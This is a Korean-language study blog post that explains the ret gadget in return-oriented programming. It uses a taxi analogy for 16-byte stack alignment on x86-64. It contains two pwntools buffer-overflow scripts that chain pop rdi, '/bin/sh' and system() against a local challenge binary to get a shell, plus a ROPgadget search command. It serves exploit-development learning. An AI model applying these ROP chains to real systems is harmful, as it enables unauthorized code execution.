Study/System

ret(return) 가젯

imaginefuture-1 2025. 2. 24. 14:58

🛠️ ROP에서 ret 가젯이란? (일상 비유 포함)

ROP 익스플로잇을 할 때 가장 자주 사용되는 가젯 중 하나가 ret(return) 가젯입니다.
이 가젯이 왜 중요한지 쉽게 이해할 수 있도록 일상적인 비유와 함께 설명할게요! 😊


🔍 1️⃣ ret 가젯이란?

  • 정의: ret 가젯은 현재 스택의 최상단(Top of Stack, TOS)에 있는 값을 RIP(Instruction Pointer)로 이동시키는 역할을 합니다.
  • 역할: 스택 정렬을 맞추고, 올바른 ROP 체인을 유지하기 위해 사용됩니다.

🚖 2️⃣ 일상적인 비유: 택시기사와 내비게이션 🗺️

📌 ret 가젯이 필요한 이유를 택시기사(Taxi) 비유로 설명

🚕 Imagine:

  • 당신이 택시를 탔어요. 목적지(함수)가 여러 개 있고, 택시 기사(CPU)가 **목적지 리스트(스택)**를 참고해서 이동해야 해요.
  • 하지만 목적지 리스트가 정리되지 않고 엉망진창이라면 🚨 택시 기사가 엉뚱한 곳으로 가버릴 수도 있어요! 😵

💡 이때, ret 가젯이 하는 역할은?
내비게이션을 올바르게 리셋해주는 역할을 합니다.
✔ ret을 실행하면 택시는 올바른 목적지 리스트(스택 주소)를 다시 읽고, 정리된 목적지로 이동합니다.

🚖 즉, ret 가젯은 CPU가 다음 실행할 코드를 정확하게 인식하도록 도와주는 역할을 합니다! 🚀


📌 3️⃣ ret 가젯이 중요한 이유 (메모리 구조 포함)

✅ 정상적인 함수 실행 (택시가 목적지까지 정상 운행)

  1. call function() 실행 → 스택에 return address 저장
  2. 함수 실행 후 ret을 만나면, 스택에서 return address를 가져와 실행

스택 (Stack)

0x400080 (리턴 주소)
0x400078 (이전 RBP 값)
0x400070 (로컬 변수)

정상적인 경우, ret 실행 시 0x400080으로 이동하여 원래 함수로 돌아감.


❌ ret 가젯이 없으면? (택시가 길을 잃음)

  • 만약 스택이 정렬되지 않은 상태에서 ret 없이 system("/bin/sh")을 실행하면,
    🚨 프로그램이 **세그멘테이션 폴트(SIGSEGV)**를 일으킬 수 있음.

💡 왜냐하면?

  • x86-64 아키텍처에서 call 명령을 실행하면 RSP(Stack Pointer)는 16바이트 정렬이 되어야 함.
  • 하지만 ROP 익스플로잇 과정에서 가끔 스택이 어긋날 수 있음.
  • 이럴 때 ret 가젯을 추가하여 스택 정렬을 맞춰야 함.

💡 4️⃣ 실제 코드 예제

✅ ret 없이 실행했을 때 (스택 정렬 오류 발생)

from pwn import *

elf = ELF("./chall")
p = process("./chall")

pop_rdi = 0x0000000000401565  # pop rdi; ret;
system = elf.symbols['system']
bin_sh = 0x4020c4  # "/bin/sh" 문자열 주소

payload = b"A" * 24  # BOF 발생
payload += p64(pop_rdi)  # pop rdi; ret;
payload += p64(bin_sh)  # "/bin/sh" 주소
payload += p64(system)  # system("/bin/sh") 실행

p.sendline(payload)
p.interactive()

🚨 위 코드를 실행하면, 스택이 16바이트 정렬되지 않으면 SIGSEGV(세그멘테이션 폴트) 오류 발생 가능.


✅ ret을 추가하여 해결한 코드

from pwn import *

elf = ELF("./chall")
p = process("./chall")

pop_rdi = 0x0000000000401565  # pop rdi; ret;
system = elf.symbols['system']
bin_sh = 0x4020c4  # "/bin/sh" 문자열 주소
ret = 0x000000000040101a  # ret 가젯 (스택 정렬용)

payload = b"A" * 24  # BOF 발생
payload += p64(pop_rdi)  # pop rdi; ret;
payload += p64(bin_sh)  # "/bin/sh" 주소
payload += p64(ret)  # 스택 정렬 맞추기
payload += p64(system)  # system("/bin/sh") 실행

p.sendline(payload)
p.interactive()

🚀 위처럼 ret을 추가하면 스택이 정렬되어 정상 실행 가능!


🛠 5️⃣ ret 가젯을 찾는 방법

ROPgadget --binary ./chall | grep "ret"

출력 예시:

0x000000000040101a : ret

이 주소(0x40101a)를 익스플로잇 페이로드에 추가하면 스택 정렬 문제 해결 가능!


🔚 결론

📌 ret 가젯이 중요한 이유 정리

🚖 택시 시스템 🖥️ 메모리(컴퓨터)

택시 기사가 올바른 목적지를 찾아야 함 CPU가 올바른 리턴 주소로 이동해야 함
내비게이션 오류가 있으면 엉뚱한 곳으로 감 스택 정렬이 안 맞으면 SIGSEGV(크래시) 발생
🚗 ret 가젯 추가 = 길을 정리해서 정확한 목적지로 이동! 🖥️ ret 가젯 추가 = 스택 정렬 문제 해결!

💡 즉, ret 가젯을 사용하면:

  1. 스택 정렬을 맞춰서 ROP 체인을 안정적으로 실행할 수 있음.
  2. check_alignment() 같은 함수에서 오류 없이 실행 가능.
  3. ROP를 더 강력하게 사용할 수 있음.

✅ 이제 다시 실행해서 결과 확인해보세요! 🚀😊

Pwndbg에서 ret 없이 실행했을 때와 추가했을 때의 차이를 확인하면 더 확실하게 이해될 거예요!

'Study > System' 카테고리의 다른 글

return address vs ret 가젯 차이점과 관계  (0) 2025.02.24
ROP(Return-Oriented Programming)  (0) 2025.02.24
가젯(Gadget)  (0) 2025.02.24
RWX메모리를 만드는 mprotect(), mmap()  (1) 2025.02.22
GOT(Global Offset Table)  (0) 2025.02.18